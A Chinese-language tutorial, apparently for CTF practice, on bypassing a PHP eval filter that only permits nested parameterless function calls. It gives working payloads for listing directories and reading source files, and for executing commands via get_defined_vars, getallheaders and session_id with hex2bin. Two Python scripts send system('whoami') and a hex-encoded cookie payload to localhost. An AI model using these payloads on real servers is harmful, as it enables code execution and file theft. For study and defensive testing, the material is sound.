什么是无参数?
顾名思义,就是只使用函数,且函数不能带有参数,这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等。
例题:
<?php highlight_file(__FILE__); if(';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['code'])) { eval($_GET['code']); } ?>
preg_replace替换匹配到的字符为空,W匹配字母、数字和下划线,等价于[^A-Za-z0-9]。(?R)?的意思是递归整个匹配模式。
正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;
可以用如下格式
a(b(c()));
a();
文件读取
查看当前目录
方法一:getcwd()
方法二:构造点 .
1.localeconv()
localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
如何取到这个点呢
相关函数:
current() //返回数组中的当前单元,默认取第一个值 pos() //current的别名 reset() //将数组的内部指针指向第一个单元 end() //将数组的内部指针指向最后一个单元 next() //将数组中的内部指针向前移动一位
前三个都可以成功打印。
2.chr()
chr(46)就是字符"."
chr(time())
chr(current(localtime(time())))
chr(time()):
chr()函数以256为一个周期,所以chr(46),chr(302),chr(558)都等于"."
所以使用chr(time()),一个周期必定出现一次"."
chr(current(localtime(time()))):
数组第一个值每秒+1,所以最多60秒就一定能得到46,用current(pos)就能获得"."
3.crypt()
hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 "."(小概率) 然后通过chr(ord())只取第一个字符
print_r(scandir(chr(ord(hebrevc(crypt(time()))))));
strrev(crypt(serialize(array()))) 也可以得到 .
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
也可以设置当前工作路径为根目录,然后遍历此目录
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));
4.array_reverse()
以相反的元素顺序返回数组
最后一位,反过来就成为第一位,可以直接用current(pos)读取
show_source(current(array_reverse(scandir(getcwd()))));
如果是倒数第二个我们可以用:
show_source(next(array_reverse(scandir(getcwd()))));
不是数组的最后一个或者倒数第二个
array_flip()
交换数组的键和值
array_rand()
从数组中取出一个或多个随机的单元,并返回随机条目的一个或多个键。
我们用array_rand()
会随机返回一个单元的键,但是我们要的是其值,因此可用先用array_flip()
交换数组的键和值,然后再使其随机返回,就有可能读到想要的那个目录。
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));
查看上级目录
方法一:dirname()
从图中可以看出,如果传入的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径
?code=print_r(scandir(dirname(getcwd())));
方法二:构造".."
print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件
next(scandir(chr(ord(hebrevc(crypt(time()))))))
chdir() :改变当前工作目录
直接print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));是不可以的,会报错,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
读取目录的函数
show_source()
highlight_file()
file_get_contents ()
readfile()
readgzfile()
无参数命令执行(RCE)
用其他变量辅佐eval传入参数
$_POST
$_GET
$_FILES
$_ENV
$_COOKIE
$_SESSION
getallheaders()
getallheaders()获取全部 HTTP 请求头信息
apache_response_headers() 获得全部 HTTP 响应头信息
这就意味着我们在headers里传入参数,再用该函数进行接收即可,但是其局限性在于只能是apeach 环境下。
get_defined_vars()
它能获取到以下变量
$_GET
$_POST
$_FILES
$_COOKIE
如何利用file变量进行rce呢?
import requests files = { "system('whoami');": "" } #data = { #"code":"eval(pos(pos(end(get_defined_vars()))));" #} r = requests.post('http://127.0.0.1/333/222/111/index.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files) print(r.content.decode("utf-8", "ignore"))
session_id()
session_id(): 可以用来获取/设置 当前会话 ID。
session需要使用session_start()开启,然后返回参数给session_id()
但是有一点限制:文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号)
但是hex2bin()函数可以将十六进制转换为ASCII 字符,所以我们传入十六进制并使用hex2bin()即可
(PHP5.5 -7.1.9可行)
?code=show_source(session_id(session_start()));
其他版本可考虑用hex2bin()
将十六进制形式的命令还原。
import requests url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));' payload = "phpinfo();".encode('hex') cookies = { 'PHPSESSID':payload } r = requests.get(url=url,cookies=cookies) print r.content
getenv()
getenv() 获取一个环境变量的值(只适用于7.1以后版本)
通过array_rand()和array_flip()结合去取我们想要的那个值,但是一般情况下php.ini中,variables_order值为:GPCS,即没有定义Environment(E)变量,无法利用。只有当其配置为EGPCS时才可利用。
参考:https://www.yuque.com/ni4n/blogs/imxg18
https://www.freebuf.com/articles/system/242482.html